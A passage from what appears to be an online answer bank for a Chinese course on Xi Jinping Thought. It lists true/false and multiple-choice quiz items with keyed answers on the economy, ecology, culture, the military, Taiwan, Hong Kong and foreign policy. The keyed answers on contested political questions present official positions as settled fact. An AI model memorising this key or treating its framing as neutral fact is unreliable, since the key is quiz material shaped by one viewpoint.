错<br><strong>4、工业化以城镇化为载体，工业化的过程本身就是城镇化的过程。</strong></p><p>正确答案： 对<br><strong>5、全面开放是引领发展的第一动力。</strong></p><p>正确答案： 错<br><strong>6、习近平新时代中国特色社会主义经济思想的主要内容是创新、协调、绿色、开放、共享的新发展理念。</strong></p><p>正确答案： 对<br><strong>7、提倡效率就是生命的发展历程已经是过去时，协调发展就是要求发展成果的平均分配。</strong></p><p>正确答案： 错<br><strong>8、共享是中国特色社会主义的本质要求。</strong></p><p>正确答案： 对<br><strong>9、以供给侧结构性改革为主线，提高全要素生产率，坚持数量第一、以价取胜，以推动我国经济的高质量发展。</strong></p><p>正确答案： 错<br><strong>10、推进增长动能转换，就是要推进中国制造向中国创造转变，中国速度向中国质量转变， 制造大国向制造强国转变。</strong></p><p>正确答案： 对<br><strong>11、要推动产业优化升级，加快发展先进制造业，推动互联网、大数据、人工智能和实体经济深度融合。</strong></p><p>正确答案： 对<br><strong>12、伴随中国特色社会主义进入新时代，我国经济已由中高速增长阶段转向高速增长阶段， 正处在转变发展方式、优化经济结构、转换增长动力的攻关期。</strong></p><p>正确答案： 错<br><strong>13、二十一世纪以来，实体经济对经济的实际贡献率越来越低，建设现代化经济体系，就需要以大力发展虚拟经济为主。</strong></p><p>正确答案： 错<br><strong>14、促进贸易平衡，更加注重提升出口质量和附加值，积极扩大进口，下调部分产品进口关税。</strong></p><p>正确答案： 对<br><strong>15、由于一直坚持实施科教兴国战略、人才强国战略、创新驱动发展战略，我国成功在 2017年末跻身创新型国家前列</strong>。</p><p>正确答案： 错</p><p><strong>16、开放是国家繁荣发展的必由之路。</strong></p><p>正确答案： 对<br><strong>17、在新发展理念中，开放注重的是解决发展内外联动问题。</strong></p><p>正确答案： 对<br><strong>18、人与自然相处时应秉持的首要态度是尊重自然。</strong></p><p>正确答案： 对<br><strong>19、人与自然相处时应承担的重要责任是保护自然。</strong></p><p>正确答案： 对<br><strong>20、节约资源和保护环境是我国的一项基本国策。</strong></p><p>正确答案： 对<br><strong>21、习近平指出：“只有实行最严格的制度、最严密的法治，才能为生态文明建设提供可靠保障。”</strong><br>正确答案： 对<br><strong>22、自然界是一个完整有机的生态系统，具有自身运动、变化和发展的内在规律，不以人的意志为转移。因此我们必须树立顺应自然生态文明理念。</strong><br>正确答案： 对<br><strong>23、虽然人因自然而生，但人不能甘于做自然的奴隶，而是要勇敢地做自然的主宰。</strong></p><p>正确答案： 错<br><strong>24、着力解决突出环境问题，就要构建政府为主导、公众为主体、社会组织和企业共同参与的环境治理体系。</strong></p><p>正确答案： 错<br><strong>25、人类社会正日益形成这样的普遍共识：人因自然而生，人与自然是一种共生关系，对自然的伤害最终会伤及人类自身。</strong></p><p>正确答案： 对<br><strong>26、面对资源约束趋紧、环境污染严重、生态系统退化的严峻形势，必须树立尊重自然、顺应自然、保护自然的生态文明理念。</strong></p><p>正确答案： 对<br><strong>27、尊重自然要求人对自然怀有敬畏之心、感恩之情、报恩之意，尊重自然界的创造和存在。</strong></p><p>正确答案： 对<br><strong>28、人与自然不仅是共融共生的生命共同体，更是休戚与共的命运共同体。</strong></p><p>正确答案： 对<br><strong>29、保护自然，就是要把人类活动控制在自然能够承载的限度之内，给自然留下恢复元气、休养生息、资源再生的空间，实现人类对自然获取和给予的平衡。</strong></p><p>正确答案： 对<br><strong>30、我们要像保护眼睛一样保护生态环境，像对待生命一样对待生态环境，推动形成绿色发展方式和生活方式，协同推进入民富裕、国家强盛、中国美丽。</strong></p><p>正确答案： 对<br><strong>31、要注重经济发展与生态保护的和谐共进，经济发展绝不能牺牲生态环境为代价。</strong></p><p>正确答案： 对<br><strong>32、坚决摒弃损害甚至破坏生态环境的发展模式和做法，走经济发展和生态环境保护有机统一的绿色发展之路。</strong></p><p>正确答案： 对<br><strong>33、在现代化建设中，要整体谋划国土空间开发，尽可能集中集约利用国土空间，减少对自然生态空间的占用。</strong></p><p>正确答案： 对<br><strong>34、建设生态文明必须深化生态文明体制改革，尽快把生态文明制度的“四梁八柱”建立起来，把生态文明建设纳入制度化、法治化轨道。</strong></p><p>正确答案： 对<br><strong>35、党的十八大指出，加强社会建设，必须以保障和改善民生为重点，积极解决好教育、就业、收入分配、社会保障、医疗卫生和社会管理等直接关系人民群众根本利益和现实利益的问题。</strong></p><p>正确答案： 对<br><strong>36、坚持总体国家安全观，统筹发展和安全，增强忧患意识，做到居安思危，是我们党治国理政的一个重大原则。</strong></p><p>正确答案： 对<br><strong>37、优先发展教育事业，要支持和规范社会力量兴办教育。</strong></p><p>正确答案： 对<br><strong>38、就业是最大的民生，要坚持就业优先战略和积极就业政策，实现更高质量和更充分就业。</strong></p><p>正确答案： 对<br><strong>39、鼓励勤劳守法致富，扩大中等收入群体，增加低收入者收入，调节过高收入，取缔非法收入。</strong></p><p>正确答案： 对<br><strong>40、为打赢脱贫攻坚战，要重点攻克深度贫困地区脱贫任务，确保到 2020 年我国现行标准下农村贫困人口实现脱贫，贫困县全部摘帽。</strong></p><p>正确答案： 对<br><strong>41、人民健康是民族昌盛和国家富强的重要标志。要完善国民健康政策，为人民群众提供全方位全周期健康服务。</strong></p><p>正确答案： 对<br><strong>42、加强社区治理体系建设，要尽可能把资源、服务、管理放到社区，使社区有职有权有物，更好为群众提供精准高效的服务和管理。</strong></p><p>正确答案： 对<br><strong>43、健全公共安全体系，要坚持以防为主、防抗救相结合的方针，坚持常态减灾和非常态救灾相统一，全面提高全社会抵御自然灾害的综合防范能力。</strong></p><p>正确答案： 对<br><strong>44、要牢固树立安全发展理念，织密织好全方位、立体化的公共安全网。</strong></p><p>正确答案： 对<br><strong>45、党的十八大指出，加强社会建设，必须加快形成科学有效的社会管理体制，完善社会保障体系，健全基层公共服务和社会管理网络，建立确保社会既充满活力又和谐有序的体制机制。</strong></p><p>正确答案： 对<br><strong>46、教育作为国家发展的基石，事关民族兴旺、人民福祉和国家未来，是百年大计、千秋工程。</strong></p><p>正确答案： 对<br><strong>47、提高就业质量，必须提供全方位公共就业服务，促进高校毕业生等青年群体、农民工多渠道就业创业。</strong></p><p>正确答案： 对<br><strong>48、维护国家安全是全党全国人民的共同责任。以每年 4 月 15 日“全民国家安全教育日”为契机，深入开展国家安全宣传教育。</strong></p><p>正确答案： 对<br><strong>49、社会主义核心价值观是社会主义核心价值体系的内核凝练和集中表达。</strong></p><p>正确答案： 对<br><strong>50、红色文化是中国革命和建设光荣历史的见证，渗透着中国共产党人的崇高理想，凝聚着广大人民群众的高尚道德和优良品质，因此培育和践行社会主义核心价值观，要加强革命传统教育，弘扬红色文化。</strong></p><p>正确答案： 对<br><strong>51、建设社会主义文化强国，要繁荣发展社会主义文艺，完善公共文化服务体系，深入实施文化惠民工程，丰富群众性文化活动，满足人们过上美好生活的文化期待。</strong></p><p>正确答案： 对<br><strong>52、爱国、敬业、富强均是社会主义核心价值观在公民个人层面上的体现。</strong></p><p>正确答案： 错<br><strong>53、掌握意识形态工作领导权，要旗帜鲜明坚持马克思主义指导地位。</strong></p><p>正确答案： 对<br><strong>54、要本着对社会负责、对人民负责的态度，依法加强网络空间治理，建立网络综合治理体系。</strong></p><p>正确答案： 对<br><strong>55、培育和践行社会主义核心价值观，事关青少年扣好人生的第一粒扣子，还必须从小抓起、从学校抓起。</strong></p><p>正确答案： 对<br><strong>56、培育和践行社会主义核心价值观，必须立足中华优秀传统文化和革命文化。</strong></p><p>正确答案： 对<br><strong>57、国家文化软实力就是诸多文化产品在国际市场上的影响力。</strong></p><p>正确答案： 错<br><strong>58、发展文化事业和文化产业，要体现社会主义制度特色。</strong></p><p>正确答案： 对<br><strong>59、要加强网络内容建设，做强网上正面宣传，加强网上舆论引导，把握好网上舆论引导的时、度、效，培育积极健康、向上向善的网络文化，营造一个风清气正的网络空间。</strong></p><p>正确答案： 对<br><strong>60、掌握意识形态工作领导权，要落实好意识形态工作责任制，落实谁主管谁主办和属地管理，防止给错误思想观点传播提供渠道。</strong></p><p>正确答案： 对<br><strong>61、核心价值观是一个国家的重要稳定器，能否构建具有强大感召力的核心价值观，关系社会和谐稳定，关系国家长治久安。</strong></p><p>正确答案： 对<br><strong>62、社会主义核心价值观是当代中国精神的集中体现，凝结着全体人民共同的价值追求。</strong></p><p>正确答案： 对<br><strong>63、社会主义核心价值观是在社会主义核心价值体系基础上提炼出来的。</strong></p><p>正确答案： 对<br><strong>64、社会主义核心价值观体现着社会主义核心价值体系的根本性质和基本特征，反映着社会主义核心价值体系的丰富内涵和实践要求。</strong></p><p>正确答案： 对<br><strong>65、社会主义核心价值观和社会主义核心价值体系，都体现了社会主义制度在思想和精神层面的质的规定性，凝结着社会主义先进文化的精髓，是中国特色社会主义道路、理论、制度和文化的价值表达。</strong></p><p>正确答案： 对<br><strong>66、相比于社会主义核心价值体系，社会主义核心价值观更加突出核心要素、更加注重凝练表达、更加强化实践导向。</strong></p><p>正确答案： 对</p><p><strong>67、培育和践行社会主义核心价值观要注意把我们所提倡的与人们日常生活联系起来，在落细、落小、落实上下功夫。</strong><br>正确答案： 对<br><strong>68、文化软实力集中体现了一个国家基于文化而具有的凝聚力和生命力，以及由此产生的吸引力和影响力。</strong></p><p>正确答案： 对<br><strong>69、中华优秀传统文化根植于中国人的内心，潜移默化地影响着人的思维方式和行为方式， 因此培养和践行社会主义核心价值观，必须立足中华优秀传统文化。</strong></p><p>正确答案： 对<br><strong>70、发展文化产业要坚持全面协调可持续的要求，推动文化产业跨越式发展。</strong></p><p>正确答案： 对<br><strong>71、核心价值体系和核心价值观都体现了社会主义意识形态的本质要求。</strong></p><p>正确答案： 对</p><p><strong>72、我国是工人阶级领导的、以工农联盟为基础的人民民主专政的社会主义国家，国家一切权力属于人民。我国社会主义民主是维护人民根本利益的最广泛、最真实、最管用的民主。</strong></p><p>正确答案： 对<br><strong>73、民族区域自治制度符合我国国情，在加强民族平等团结、促进民族地区发展、增强中华民族凝聚力等方面发挥了重要作用。</strong></p><p>正确答案： 对<br><strong>74、“台独”分裂势力及其活动损害国家主权和领土完整，是两岸关系和平发展的最大障碍，是台海和平稳定的最大威胁。</strong></p><p>正确答案： 对<br><strong>75、2018 年 3 月 1 日，在十三届全国人大一次会议闭幕会上，习近平强调：“维护国家主权和领土完整，实现祖国完全统一，是全体中华儿女的共同愿望，是中华民族根本利益所在。”</strong></p><p>正确答案： 对<br><strong>76、经济是影响国家法制建设的唯一因素。</strong></p><p>正确答案： 错<br><strong>77、我们说要尊重法律和法规，其实是尊重法条背后所体现的公平和正义。</strong></p><p>正确答案： 对<br><strong>78、“和平统一、一国两制”构想的基本内容就是在祖国统一的前提下，国家的主体坚持社会主义制度，同时在台湾、香港、澳门保持原有的资本主义制度长期不变。</strong></p><p>正确答案： 对<br><strong>79、人民当家作主是社会主义民主政治的本质特征。</strong></p><p>正确答案： 对<br><strong>80、中国特色社会主义政治发展道路是坚持党的本质属性、践行党的根本宗旨的必然要求。</strong></p><p>正确答案： 对<br><strong>81、人民代表大会制度是我国根本政治制度。</strong></p><p>正确答案： 对<br><strong>82、协商民主是中国社会主义民主政治的特有形式和独特优势，是实现党的领导的重要方式。</strong></p><p>正确答案： 对<br><strong>83、必须牢固树立“一国”意识，坚守“一国”原则，正确处理特别行政区同中央的关系。</strong></p><p>正确答案： 对</p><p><strong>84、“九二共识”是两岸关系对“两岸同属一个中国”这一客观事实和现状的共同确认，是两岸双方授权认可的。</strong></p><p>正确答案： 对<br><strong>85、多民族是我国的一大特色。在历史演进中，我国各民族形成了你中有我、我中有你、谁也离不开谁的多元一体格局。</strong></p><p>正确答案： 对<br><strong>86、当前，“一国两制”事业正站在新的历史起点上，继续推动香港、澳门各项事业向前发展，归根到底是要坚守方向、踩实步伐，全面准确理解和贯彻“一国两制”、“港人治港”、“澳人治澳”、高度自治的方针。</strong> </p><p>正确答案： 对<br><strong>87、发展是永恒的主题，是香港、澳门的立身之本，也是保持香港、澳门国际地位和解决香港、澳门各种问题的金钥匙。</strong></p><p>正确答案： 对<br><strong>88、解决台湾问题、实现祖国完全统一，是全体中华儿女共同愿望，是中华民族根本利益所在，是新时代中国共产党、中国政府的三大历史任务之一。</strong></p><p>正确答案： 对<br><strong>89、要用社会主义核心价值观引领、用中华文化浸润我国各种宗教，支持宗教界对宗教思想、教规教义进行符合时代进步要求的阐释。</strong></p><p>正确答案： 对<br><strong>90、处理好民族问题、做好民族工作，必须坚持中国共产党的领导，坚持维护祖国统一，坚持各民族一律平等，坚持和完善民族区域自治制度。</strong></p><p>正确答案： 对<br><strong>91、加强各民族交往交流交融，促进各民族和睦相处、和衷共济、和谐发展，巩固和发展平等团结互助和谐的社会主义民族关系。</strong></p><p>正确答案： 对<br><strong>92、要提高宗教工作法治化水平，辩证看待宗教的社会作用，重视发挥宗教界人士作用，引导宗教人士努力为促进经济发展、社会和谐、文化繁荣、民族团结、祖国统一服务。</strong></p><p>正确答案： 对<br><strong>93、“一国两制”是一个完整的概念。“一国”是实行“两制”的前提和基础，“两制”从属和派生于“一国”，并统一于“一国”之内。</strong></p><p>正确答案： 对<br><strong>94、要把坚持“一国”原则和尊重“两制”差异、维护中央权力和保障特别行政区高度自治权、发挥祖国内地坚强后盾作用和提高港澳自身竞争力有机结合起来。</strong></p><p>正确答案： 对<br><strong>95、体现一个中国原则的“九二共识”，明确界定了两岸关系的根本性质，是确保两岸关系和平发展的关键。</strong></p><p>正确答案： 对<br><strong>96、要秉持和践行“两岸一家亲”理念，尊重台湾现有的社会制度和台湾同胞生活方式，率先与台湾同胞分享大陆发展的机遇，继续扩大两岸经济文化交流合作。</strong></p><p>正确答案： 对<br><strong>97、中华人民共和国成立以来，尤其是改革开放以来，我们党团结带领人民在发展社会主义民主政治方面取得了重大进展，成功开辟和坚持了中国特色社会主义政治发展道路。</strong></p><p>正确答案： 对</p><h2 id="第十一章"><a href="#第十一章" class="headerlink" title="第十一章"></a>第十一章</h2><h3 id="一-单选题（1-题，1-0-分）"><a href="#一-单选题（1-题，1-0-分）" class="headerlink" title="一.单选题（1 题，1.0 分）"></a>一.单选题（1 题，1.0 分）</h3><p><strong>1、党的()是党的根本性建设，决定党的建设方向和效果。</strong><br>A. 作风建设<br>B. 政治建设<br>C. 思想建设<br>D. 组织建设<br>正确答案：B </p><h3 id="二-多选题（26-题，26-0-分）"><a href="#二-多选题（26-题，26-0-分）" class="headerlink" title="二.多选题（26 题，26.0 分）"></a>二.多选题（26 题，26.0 分）</h3><p><strong>1、坚决打好污染防治攻坚战，就是要()。</strong><br>A. 回归到男耕女织的田园生活<br>B. 推进绿色低碳循环发展<br>C. 提高资源利用效率<br>D. 完善生态环境保护制度<br>正确答案：BCD<br><strong>2、确保经济社会持续健康发展，就是要()。</strong><br>A. 强化劳动力数量驱动<br>B. 坚持深化供给侧结构性改革<br>C. 保持宏观政策连续性稳定性<br>D. 实现国内生产总值和城乡居民人均收入比 2010 年翻一番</p><p>正确答案：BCD<br><strong>3、缩小城乡区域发展差距，不仅是缩小国内生产总值总量和增长速度的差距，而且是缩小()等方面的差距。</strong><br>A. 居民收入水平<br>B. 基础设施通达水平<br>C. 基本公共服务均等化水平<br>D. 人民生活水平<br>正确答案：ABCD<br><strong>4、坚决打好防范化解重大风险攻坚战，就是要高度重视()等领域存在的风险隐患。</strong><br>A. 金融<br>B. 地方债务<br>C. 信息安全<br>D. 社会稳定<br>正确答案：ABCD<br><strong>5、坚持精准扶贫、精准脱贫基本方略，就是要()。</strong><br>A. 健全公共服务<br>B. 在贫困地区建设完整的现代产业体系<br>C. 发展特色优势产业<br>D. 做好中央单位定点帮扶<br>正确答案：ACD<br><strong>6、坚持“三位一体”大扶贫格局中的“三位”指的是()。</strong></p><p>A. 专项扶贫<br>B. 行业扶贫<br>C. 商业扶贫<br>D. 社会扶贫<br>正确答案：ABD </p><p><strong>7、以下属于党的组织建设的有()。</strong><br>A. 干部队伍建设<br>B. 党员队伍建设<br>C. 党的基层组织建设<br>D. 公职队伍建设<br>正确答案：ABC<br><strong>8、新时代党的建设要求把党建设成为()、朝气蓬勃的马克思主义执政党。</strong><br>A. 始终走在时代前列<br>B. 人民衷心拥护<br>C. 勇于自我革命<br>D. 经得起各种风浪考验<br>正确答案：ABCD </p><p><strong>9、进入新时代，党面临的危险有()。</strong><br>A. 精神懈怠<br>B. 能力不足<br>C. 脱离群众<br>D. 消极腐败<br>正确答案：ABCD<br><strong>10、党的政治建设要求全党要坚定执行党的政治路线，严格遵守政治纪律和政治规矩，在()上同党中央保持髙度一致。</strong><br>A. 政治立场<br>B. 政治方向<br>C. 政治原则<br>D. 政治道路<br>正确答案：ABCD<br><strong>11、党的政治建设要求全党同志要加强党性锻炼，不断提高政治觉悟和政治能力，把()作为根本政治担当，永葆共产党人政治本色。</strong><br>A. 对党忠诚<br>B. 为党分忧<br>C. 为党尽职<br>D. 为民造福<br>正确答案：ABCD<br><strong>12、制度问题带有()，加强制度建设是全面从严治党的长远之策、根本之策。</strong><br>A. 根本性<br>B. 全局性<br>C. 稳定性<br>D. 长期性<br>正确答案：ABCD<br><strong>13、加强党内制度建设，要形成()的党内法规制度体系。</strong></p><p>A. 内容科学<br>B. 程序严密<br>C. 配套完备<br>D. 运行有效<br>正确答案：ABCD<br><strong>14、以下属于党的政治建设所弘扬的价值观有()。</strong><br>A. 忠诚老实<br>B. 自由散漫<br>C. 公道正派<br>D. 清正廉洁<br>正确答案：ACD<br><strong>15、以下主义为党的政治建设所坚决反对的有()。</strong><br>A. 个人主义<br>B. 自由主义<br>C. 集体主义<br>D. 好人主义<br>正确答案：ABD<br><strong>16、加强党的组织建设要坚持正确选人用人导向，以下属于好干部标准的有()。</strong><br>A. 信念坚定<br>B. 勤政务实<br>C. 圆滑机灵<br>D. 清正廉洁<br>正确答案：ABD<br><strong>17、必须坚持党()，把依法治国同依法执政统一起来。</strong><br>A. 领导立法<br>B. 保证执法<br>C. 支持司法<br>D. 带头守法<br>正确答案：ABCD<br><strong>18、坚持人民在全面依法治国中的主体地位，坚持法治()。</strong><br>A. 为了人民<br>B. 依靠人民<br>C. 造福人民<br>D. 保护人民<br>正确答案：ABCD<br><strong>19、坚持法律面前人人平等，体现在()等各个方面。</strong><br>A. 立法<br>B. 执法<br>C. 司法<br>D. 守法<br>正确答案：ABCD<br><strong>20、全面依法治国必须坚持厉行法治，推进()，推进中国特色社会主义法治体系建设，全面深化依法治国实践。</strong><br>A. 科学立法</p><p>B. 严格执法<br>C. 公正司法<br>D. 全民守法<br>正确答案：ABCD </p><p><strong>21、全面深化改革必须坚持()。</strong><br>A. 党对改革的集中统一领导<br>B. 改革沿着中国特色社会主义方向前进<br>C. 改革往有利于维护社会公平正义、增进入民福祉方向前进<br>D. 社会主义市场经济改革方向<br>正确答案：ABCD<br><strong>22、以下体现十八大以来，党中央以前所未有的决心和力度推进全面深化改革的有()。</strong><br>A. 出台方案多<br>B. 涉及范围广<br>C. 推进力度大<br>D. 触及利益深<br>正确答案：ABCD<br><strong>23、促进社会公平正义，是从()的角度出发。</strong><br>A. 最广大人民根本利益<br>B. 社会发展水平<br>C. 社会大局<br>D. 全体人民<br>正确答案：ABCD<br><strong>24、全面深化改革有利于维护社会公平正义的体现有()。</strong><br>A. 通过创新制度安排，创造更加公平正义的社会环境<br>B. 让改革发展成果更多更公平惠及全体人民<br>C. 实现好、维护好、发展好最广大人民根本利益<br>D. 给人民群众带来更多的获得感<br>正确答案：ABCD<br><strong>25、推进国家治理体系和治理能力现代化，就是要使各方面制度更加科学、更加完善，为()提供一整套更完备、更稳定、更管用的制度体系。</strong><br>A. 党和国家事业发展<br>B. 人民幸福安康<br>C. 社会和谐稳定<br>D. 国家长治久安<br>正确答案：ABCD<br><strong>26、全面深化改革，勇于推进理论创新、实践创新、制度创新以及其他各方面的创新的目的是()。</strong><br>A. 让制度更加成熟定型<br>B. 让发展更有质量<br>C. 让治理更有水平<br>D. 让人民更有获得感<br>正确答案：ABCD </p><h3 id="三-判断题（11-题，11-0-分）-1"><a href="#三-判断题（11-题，11-0-分）-1" class="headerlink" title="三.判断题（11 题，11.0 分）"></a>三.判断题（11 题，11.0 分）</h3><p><strong>1、坚决打好精准脱贫攻坚战，要强化党政一把手负总责的责任制。</strong></p><p>正确答案： 对<br><strong>2、“坚持党要管党、全面从严治党”是新时代党的建设的根本方针。</strong></p><p>正确答案： 对<br><strong>3、旗帜鲜明讲政治是我们党作为马克思主义政党的根本要求。</strong></p><p>正确答案： 对<br><strong>4、保证全党服从中央，坚持党中央权威和集中统一领导，是党的政治建设的首要任务。</strong></p><p>正确答案： 对<br><strong>5、“老虎”露头就一定要打，“苍蝇”乱飞可以适当容忍。</strong></p><p>正确答案： 错<br><strong>6、中国应当尽可能地学习借鉴和移植世界上优秀的法治文明成果。</strong></p><p>正确答案： 错<br><strong>7、全面深化改革必须坚持党对改革的集中统一领导。</strong></p><p>正确答案： 对<br><strong>8、全面深化改革的总目标是完善和发展中国特色社会主义制度，推进国家治理体系和治理能力现代化。</strong></p><p>正确答案：  对</p><p><strong>9、整体推进和重点突破无法同时进行。</strong></p><p>正确答案： 错<br><strong>10、改革是社会主义制度自我完善和发展。</strong></p><p>正确答案： 对<br><strong>11、加强顶层设计取代了过去的摸着石头过河的方法。</strong></p><p>正确答案： 错</p><h2 id="第十二章"><a href="#第十二章" class="headerlink" title="第十二章"></a>第十二章</h2><h3 id="一-单选题（6-题，6-0-分）"><a href="#一-单选题（6-题，6-0-分）" class="headerlink" title="一.单选题（6 题，6.0 分）"></a>一.单选题（6 题，6.0 分）</h3><p><strong>1、我国战略威慑的核心力量是()。</strong><br>A. 陆军<br>B. 空军<br>C. 火箭军<br>D. 武警部队<br>正确答案：C<br><strong>2、构建中国特色现代军事力量体系，调整优作战力量结构要突出抓好()。</strong><br>A. 海军建设<br>B. 指挥控制系统和战略预警体系等建设<br>C. 火箭军建设<br>D. 空军建设<br>正确答案：B<br><strong>3、人民军队之所以能始终保持强大的凝聚力、向心力、战斗力，经受各种考验，最根本的就是靠()。</strong><br>A. 文化传承<br>B. 党的坚强领导<br>C. 物质保障<br>D. 生活习惯</p><p>正确答案：B </p><p><strong>4、人民军队的军魂和命根子是()。</strong><br>A. 武器装备<br>B. 党的坚强领导<br>C. 文化传承<br>D. 科学技术<br>正确答案：B<br><strong>5、新型作战力量代表着军事技术和作战方式的发展趋势，具有()、体系编成新、制敌手段新等优长，是国家战略能力的前瞻力量。</strong><br>A. 网络空间大<br>B. 技术平台新<br>C. 投射能力强<br>D. 发展空间广<br>正确答案：B<br><strong>6、习近平强调国防和()是国家安全的坚强后盾。</strong><br>A. 文化<br>B. 物质<br>C. 人民<br>D. 军队<br>正确答案：D </p><h3 id="二-多选题（6-题，6-0-分）-1"><a href="#二-多选题（6-题，6-0-分）-1" class="headerlink" title="二.多选题（6 题，6.0 分）"></a>二.多选题（6 题，6.0 分）</h3><p><strong>1、坚持党对军队的绝对领导，需要一系列的制度保证，下列属于这些制度的是()。</strong><br>A. 军队事务不管大小都向军委主席汇报<br>B. 支部建立在连队之上<br>C. 军队最高指挥权属于党中央<br>D. 实行党委集体领导下的首长分工负责制</p><p>正确答案：BCD<br><strong>2、坚持党对军队的绝对领导是因为()。</strong><br>A. 党的领导决定军队建设的政治方向<br>B. 坚持党对军队的绝对领导，才能保证人民军队的性质<br>C. 坚持党对军队的绝对领导是军队的军魂<br>D. 军队的诞生就与党紧密地联系在一起</p><p>正确答案：ABCD </p><p><strong>3、习近平的强军思想包括()。</strong><br>A. 强国必须强军<br>B. 党对军队绝对领导是人民军队建军之本、强军之魂<br>C. 作风优良是我军鲜明特色和政治优势<br>D. 改革是强军的必由之路<br>正确答案：ABCD<br><strong>4、习近平指出，建设世界一流军队要坚持()。</strong><br>A. 改革强军<br>B. 政治治军<br>C. 科技兴军<br>D. 依法建军</p><p>正确答案：AC<br><strong>5、关于推动军民融合深度发展说法有()。</strong><br>A. 军民融合，源于党的“军民结合、寓军于民”的思想<br>B. 人民离不开军队<br>C. 军队更离不开人民<br>D. 军政一致、军民一致，军民鱼水情深、患难与共，是人民军队无往而不胜的重要保证<br>正确答案：ABCD<br><strong>6、军民融合的深度发展格局包括()等内容。</strong><br>A. 坚持全国一盘棋<br>B. 健全体制机制<br>C. 强化战略规划<br>D. 突出重点领域<br>正确答案：ABCD </p><h3 id="三-判断题（18-题，18-0-分）"><a href="#三-判断题（18-题，18-0-分）" class="headerlink" title="三.判断题（18 题，18.0 分）"></a>三.判断题（18 题，18.0 分）</h3><p><strong>1、坚持党对军队的绝对领导，最重要的是始终在思想政治上行动上同党中央保持高度一致。</strong></p><p>正确答案： 对<br><strong>2、军队要坚持把提高战斗力作为全军各项建设的出发点和落脚点。</strong></p><p>正确答案： 对<br><strong>3、建设巩固国防和强大军队是我国现代化建设的战略任务。</strong></p><p>正确答案： 对<br><strong>4、军队强不强，关键看打仗；战场打不赢，一切等于零。</strong></p><p>正确答案： 对<br><strong>5、习近平强军思想，是习近平新时代中国特色社会主义思想的重要组成部分，开拓了马克思主义军事理论和当代中国军事实践发展新境界，标志着党的军事指导理论的与时俱进。</strong></p><p>正确答案： 对<br><strong>6、党对军队的绝对领导是中国特色社会主义的本质特征，是党和国家的重要政治优势。</strong></p><p>正确答案： 对<br><strong>7、习近平强军思想深刻回答了“新时代建设一支什么样的强大人民军队、怎样建设强大人民军队”的时代课题。</strong></p><p>正确答案： 对<br><strong>8、党的领导是人民军队战无不胜的根本保证。</strong></p><p>正确答案： 对<br><strong>9、面对强国强军的时代要求，必须建立以军队数量为核心的评价体系。</strong></p><p>正确答案： 错<br><strong>10、科技是现代战争的核心战斗力。</strong> </p><p>正确答案： 对<br><strong>11、党对军队的绝对领导是我国的基本军事制度，是我们党运用马克思主义国家学说建设新型人民军队的伟大创造。</strong></p><p>正确答案： 对<br><strong>12、坚持党对军队的绝对领导要坚持军队的最高领导权和指挥权属于党中央和中央军委，坚决维护和贯彻军委主席负责制。</strong></p><p>正确答案： 对</p><p><strong>13、军事斗争的准备要以国家核心安全需求为导向。</strong></p><p>正确答案： 对<br><strong>14、军政一致、军民一致，军民鱼水情深、患难与共，是人民军队无往而不胜的重要保证。</strong></p><p>正确答案： 对<br><strong>15、军民融合，源于党的军民结合、寓军于民思想，它强调国防和军队建设。</strong></p><p>正确答案： 对<br><strong>16、坚持富国和强军相统一是我们党的一贯主张。</strong></p><p>正确答案： 对<br><strong>17、随着我国经济总量、综合实力不断上升，各种可以预见和难以预见的风险和挑战也在逐渐减少。</strong></p><p>正确答案： 错<br><strong>18、历史经验告诉我们，富国与强军是相矛盾的，军事力量增强必然耗费国家大量资源。</strong></p><p>正确答案： 错</p><h2 id="第十三章"><a href="#第十三章" class="headerlink" title="第十三章"></a>第十三章</h2><h3 id="一-单选题（9-题，9-0-分）-1"><a href="#一-单选题（9-题，9-0-分）-1" class="headerlink" title="一.单选题（9 题，9.0 分）"></a>一.单选题（9 题，9.0 分）</h3><p><strong>1、在推动建立以合作共赢为核心的新型国际关系时，重视各大国的地位和作用，积极同俄罗斯发展()。</strong><br>A. 新型大国关系<br>B. 文明伙伴关系<br>C. 全面战略协作伙伴关系<br>D. 战略同盟关系<br>正确答案：C<br><strong>2、中国坚定不移地走和平发展道路，倡导合作共赢的底线是()。</strong><br>A. 反对世界强权<br>B. 坚决维护国家核心利益<br>C. 弘扬东方文化<br>D. 维护一般经济利益<br>正确答案：B<br><strong>3、党的十八大以来，随着()战略布局的深入贯彻实施，新的更大的制度红利和发展潜力将会不断的的创造和释放出来。</strong><br>A. 依法治国<br>B. 四个全面<br>C. 以德治国<br>D. 科学发展<br>正确答案：B<br><strong>4、在推动建立以合作共赢为核心的新型国际关系时，重视各大国的地位和作用，积极同美国发展()。</strong><br>A. 全面战略协作伙伴关系<br>B. 新型大国关系<br>C. 文明伙伴关系<br>D. 战略同盟关系<br>正确答案：B</p><p><strong>5、我国对外政策的立足点是加强同()的团结与合作。</strong><br>A. 发达国家<br>B. 发展中国家<br>C. 东方国家<br>D. 美国<br>正确答案：B<br><strong>6、坚持()是处理一切国际事务的原则。</strong><br>A. 合作共赢<br>B. 和平发展<br>C. 立足国情<br>D. 独立自主<br>正确答案：D<br><strong>7、推动建立新型国际关系，是党中央立足时代发展潮流和我国根本利益作出的战略选择。新型国际关系的核心是()。</strong><br>A. 共同发展<br>B. 互惠互利<br>C. 平等发展<br>D. 合作共赢<br>正确答案：D<br><strong>8、2008 年的金融危机，引发了对()的深刻反思，加快了国际体系变革进程。</strong><br>A. 发展模式和发展理念<br>B. 发展目的<br>C. 发展方向<br>D. 发展动力<br>正确答案：A<br><strong>9、2013 年 9 月和 10 月，习近平在出访中亚和东南亚国家期间，先后提出共建()和“21 世纪海上丝绸之路”的重大倡议。</strong><br>A. “长江-黄河经济带”<br>B. “丝绸之路经济带”<br>C. “中国南海经济带”<br>D. “亚洲-太平洋经济带”<br>正确答案：B </p><h3 id="二-多选题（9-题，9-0-分）"><a href="#二-多选题（9-题，9-0-分）" class="headerlink" title="二.多选题（9 题，9.0 分）"></a>二.多选题（9 题，9.0 分）</h3><p><strong>1、下面属于经济全球化的积极影响的是()。</strong><br>A. 严重冲击国家主权<br>B. 推动全球生产力大发展<br>C. 加速世界经济增长<br>D. 促进资源优化配置<br>正确答案：BCD<br><strong>2、中国坚定不移地奉行独立自主的和平外交政策，走和平发展道路。对此的正确理解有()。</strong><br>A. 这是由我国的社会主义性质决定的<br>B. 这是由我国在国际上的地位决定的<br>C. 这是从历史、现实、未来的客观判断中得出的结论<br>D. 这是思想自信和实践自觉的有机统一</p><p>正确答案：ABCD </p><p><strong>3、我国的外交工作布局是()。</strong><br>A. 大国是关键<br>B. 周边是首要<br>C. 发展中国家是基础<br>D. 